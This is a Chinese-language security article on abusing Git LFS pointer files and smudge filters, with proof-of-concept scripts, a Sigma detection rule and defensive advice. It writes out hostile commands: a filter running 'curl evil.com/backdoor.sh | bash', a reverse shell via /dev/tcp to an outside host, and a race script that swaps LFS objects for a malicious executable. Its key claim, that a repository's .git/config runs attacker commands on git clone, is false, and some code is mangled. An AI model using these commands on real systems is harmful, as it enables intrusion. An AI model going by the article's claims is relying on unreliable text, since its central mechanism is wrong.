摘要

Git Large File Storage 用轻量指针文件替代大文件,再通过 Smudge Filter 在 checkout 时透明下载真实内容。这套机制原本是为了解决版本控制中的大文件管理问题,却在不经意间开辟了一条隐蔽的持久化通道:指针文件仅通过格式校验即可被认定为合法,而 Smudge Filter 在 checkout 时执行的命令完全由仓库内的 .gitattributes 控制。攻击者可以在指针文件通过验证后、实际下载内容完成前的微秒级窗口内,利用竞态条件将恶意载荷替换为“真实”文件,或直接注册一个伪装成 LFS Filter 的恶意 Smudge Filter,在 git clone 的瞬间执行任意命令。

Git LFS信任机制

LFS 指针文件的静态格式

Git LFS 的核心设计理念是“用指针文件替代大文件”。在 Git 仓库中,一个被 LFS 管理的大文件(如 video.mp4)会被替换为如下结构的指针文件:

version https://git-lfs.github.com/spec/v1
oid sha256:4d7a214614ab2935c943f9e0ff69d22eadbb8f32b1258daaa5e2ca24d17e2393
size 341283

这个文件仅包含三行文本:版本声明、对象 OID(SHA-256 哈希)、文件原始大小。Git 对 LFS 指针的合法性校验仅基于两点:

  1. 第一行匹配version https://git-lfs.github.com/spec/v1
  2. 第二行以oid sha256: 开头,后跟 64 个十六进制字符。

只要满足这两个格式条件,Git 就认为该文件是一个有效的 LFS 指针,并在后续操作中触发 LFS 下载机制。至于 OID 是否真的对应 LFS 服务器上的某个对象、大小是否与真实文件一致,这一层面的验证被完全推迟到了实际下载阶段。

Smudge 与 Clean

Git 的 Filter 系统(通过 .gitattributes 配置)定义了文件在工作目录和 Git 内部存储之间转换的规则:

  • Clean Filter:在 git add 时将工作目录中的文件转换为 Git 存储格式(大文件 → LFS 指针文件)。
  • Smudge Filter:在 git checkout 时将 Git 存储格式的文件转换为工作目录中的实际文件(LFS 指针文件 → 真实大文件)。

Git Filter 工作流程图如下所示:

对于 LFS,这两个 Filter 分别指向 Git LFS 客户端提供的 git-lfs 命令。具体配置如下:

*.mp4 filter=lfs diff=lfs merge=lfs -text

该行告诉 Git:所有 .mp4 文件在 add/checkout 时使用名为 lfs 的 Filter 驱动程序。而这个 lfs Filter 的定义存储在 .git/config(或全局 ~/.gitconfig)中:

[filter "lfs"]
    clean = git-lfs clean -- %f
    smudge = git-lfs smudge -- %f
    process = git-lfs filter-process
    required = true

关键点在于:Filter 驱动程序的实际命令是可以被仓库级别的 .gitconfig 覆盖的。如果攻击者能够在仓库的 .git/config 中插入自定义的 filter 定义,或通过 .gitattributes 引用一个名称不冲突的自定义 Filter,就可以在 git checkout 时执行任意命令。

指针文件的竞态条件

检查时间与使用时间的裂缝

LFS 客户端在 checkout 时的处理流程如图所示:

Git 确认该文件是 LFS 指针,但实际下载取决于网络延迟和文件大小。攻击者可以构造一个合法的指针文件,其中 OID 指向一个真实存在于 LFS 服务器上的无害对象(确保通过格式检查),但在 Git 开始下载之前,利用文件系统监控工具将 OID 替换为另一个指向恶意文件的 OID,或将整个指针文件替换为恶意文件。

竞态条件触发的具体场景

设想这样一个攻击链:

  1. 攻击者创建一个 Git 仓库,其中包含一个合法的 LFS 指针文件 setup.exe,OID 指向一个真实存在的无害二进制文件(例如一个空程序)。
  2. 受害者在本地 git clone 该仓库。Git 开始检出文件,识别 setup.exe 为 LFS 指针,启动下载。
  3. 在下载尚未完成期间,攻击者利用已预先植入受害者系统的一个简单脚本(或利用系统上的并发写入机制),将 .git/lfs/objects/ 目录下的即将被用来替换指针文件的内容替换为恶意二进制文件。
  4. Git LFS 客户端完成“下载”后,将已遭到替换的恶意文件写入工作目录。
  5. 受害者执行 setup.exe,恶意载荷运行。

虽然步骤 3 需要攻击者已经拥有在受害者主机上执行命令的能力,但这在以下场景中完全合理:攻击者之前已经通过其他途径获得了对主机的有限访问,希望利用 Git 仓库作为持久化和横向移动的载体。典型的供应链攻击中,内部员工也可能利用自己的权限植入此类陷阱。

Smudge Filter 的隐蔽持久化

注册恶意 Smudge Filter

比竞态条件更隐蔽的方式,是直接在仓库中定义一个新的 Filter,将 Smudge 命令指向攻击者控制的脚本。这种攻击不需要依赖竞态条件,只需受害者执行 git clone,恶意命令就会自动触发。

具体操作:

  1. 攻击者在仓库根目录下的 .gitattributes 中添加一行,指定某类文件(或所有文件)使用自定义 Filter。

* filter=malware

    2. 在同一仓库的 .git/config 中添加 Filter 驱动程序的配置:

[filter "malware"]
    smudge = /bin/bash -c "curl -s https://evil.com/backdoor.sh | bash"
    clean = cat
    required = true

    3. 仓库中放置任意文件(例如 README.md),当用户克隆此仓库并检出文件时,Git 会为每个匹配的文件调用 malware Filter 的 Smudge 命令。上述配置会从远程服务器下载并执行 backdoor.sh

攻击者还可以做得更隐蔽:保留正常的 LFS Filter 行为,但在其中插入额外的命令。例如:

[filter "lfs"]
    smudge = git-lfs smudge -- %f && echo "恶意命令" >> /tmp/evil.log

利用 LFS Pointer 的双重解析

一种更精巧的持久化方式,是将恶意 Smudge Filter 伪装为 LFS 指针处理的一部分。由于 Git 对 LFS 指针的校验仅限格式,攻击者可以:

  • 构造一个满足 LFS 指针格式的“假指针”,其 OID 对应的文件实际上包含的是恶意脚本而非大文件数据。
  • 同时,修改 LFS Smudge Filter 的命令,在正常 git-lfs smudge 之后,将假文件解析并执行。

这样,即使受害者检查了 LFS 配置,也难以发现隐藏在标准 LFS 管道中的恶意额外命令。

Poc

创建包含恶意 Smudge Filter 的 Git 仓库

#!/bin/bash
# 创建一个 Git 仓库,在 git clone 时执行任意命令

mkdir evil-repo && cd evil-repo
git init

# 定义 Filter 驱动程序
git config filter.malware.smudge 'bash -c "echo PWNED && bash -i >& /dev/tcp/ghostwolflab.com/4444 0>&1"'
git config filter.malware.clean 'cat'

# 将仓库中所有文件都关联到恶意 Filter
echo'* filter=malware' > .gitattributes
git add .gitattributes
git commit -m "add malicious filter"

# 添加一些看起来无害的文件
echo"# Welcome" > README.md
git add README.md
git commit -m "add README"

# 推送到远程仓库(需要对应的远程服务器)
git remote add origin https://github.com/ghostwolflab/wolf-repo.git
git push -u origin main

echo"[+] 仓库已创建。受害者 'git clone' 时会自动执行命令。"

说明:以上代码创建了一个仓库,当其他用户 git clone 这个仓库时,因为所有文件都匹配到 malware Filter,Git 会执行 bash -c "..." 命令。此攻击利用了 Git 对 Smudge Filter 命令无沙箱、无用户确认的信任特性。

竞态条件利用脚本

#!/bin/bash
# lfs_race_exploit.sh — 监控 LFS 下载并替换对象内容
# 在受害主机上运行,需事先获得基本权限
#
# 工作原理:
#   1. 监控 .git/lfs/objects/ 目录,监听文件写入事件
#   2. 一旦检测到目标 OID 对应的对象文件开始写入,立即用恶意文件覆盖
#   3. Git checkout 最终将该恶意文件作为 LFS 真实内容写入工作目录

TARGET_OID="4d7a214614ab2935c943f9e0ff69d22eadbb8f32b1258daaa5e2ca24d17e2393"
LFS_DIR=".git/lfs/objects"
MALICIOUS_FILE="/tmp/backdoor.exe"

# 安装 inotify-tools (apt install inotify-tools)
inotifywait -m -r -e close_write "$LFS_DIR" | whileread dir event file; do
# 提取 OID 路径
    fullpath="$dir$file"
    oid_path=$(echo"$fullpath" | grep -o '[0-9a-f]\{64\}')
if [[ "$oid_path" == *"$TARGET_OID"* ]]; then
echo"[+] 检测到目标对象正在写入: $fullpath"
# 竞态窗口:替换文件
        sleep 0.1  # 等待写入完成(可根据实际调整)
        cp "$MALICIOUS_FILE""$fullpath"
echo"[+] 目标对象已被替换为恶意文件"
fi
done

说明:该脚本利用 inotify 监控 LFS 对象目录,一旦目标 OID 被写入(即 LFS 下载完成),就在 Git 将其复制到工作目录之前替换对象文件。这需要攻击者对受害者主机已有文件系统写入权限,常见于内部威胁或通过其他漏洞获得的立足点。

检测与防御

检测方法

对仓库的完整性扫描

  • 使用 git fsck 检查 LFS 指针与实际存储对象的一致性。
  • 审计 .gitattributes 和 .git/config 中自定义 Filter 的命令,禁止任何涉及 bashcurl/dev/tcp 等网络或执行操作的语句。

行为监控

  • 监控 Git 进程 (gitgit-lfs) 启动非预期的子进程,尤其是网络连接和 shell 命令。
  • 对 ~/.gitconfig 和仓库级 .git/config 的修改建立基线,任何 Filter 驱动程序定义的变更都应触发告警。

Sigma 规则示例

title: Git Smudge Filter Command Execution
description: 检测 Git 通过 Smudge Filter 执行可疑命令
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/git'
        Image|endswith: '/bash'
        CommandLine|contains: 'curl'
    condition: selection
level: high

防御措施

  • 禁止仓库级别的 Filter 定义:通过全局 Git 配置 filter.XXX.smudge 锁定 LFS 相关的 Filter,不允许仓库覆盖。可在全局 ~/.gitconfig 中使用 includeIf 或通过企业 Git 管理策略强制执行。
  • 沙箱化 Filter 执行:类似 Git 2.42 引入的 safe.filter 机制,限制 Filter 命令只能调用受信任的二进制文件,且禁止 shell 元字符。
  • LFS 完整性校验提前:在指针文件解析阶段即进行 OID 与 LFS 服务端的即时验证,而不是等到下载完成后再校验哈希。这可以压缩竞态窗口,尽管不能完全消除。
  • 教育用户:强调 git clone 一个不受信任的仓库的风险与执行任意脚本的风险相当,鼓励使用代码审查和依赖扫描工具。

结语

Git LFS 的设计初衷是为了解决大文件版本控制的效率问题,但它在安全性方面的简化假设——“指针格式正确即合法”、“Filter 命令是可信配置”——为攻击者提供了两条清晰的利用路径。竞态条件利用文件系统操作的异步性,Smudge Filter 利用 Git 配置的隐蔽性,两者都将版本控制系统从开发者的协作工具转变为攻击者的持久化通道。

安全社区长期关注依赖包、镜像和二进制文件的安全,却往往忽略了版本控制工具本身的攻击面。如果 git clone 等同于 curl | bash,那么我们对 Git 仓库的信任就必须追加一道安全防线:审计 .gitattributes,锁定 Filter 定义,监控 Git 子进程,并在组织层面推广安全的 Git 配置基线。否则,每一次看似无害的克隆,都可能是一场静默入侵的开始。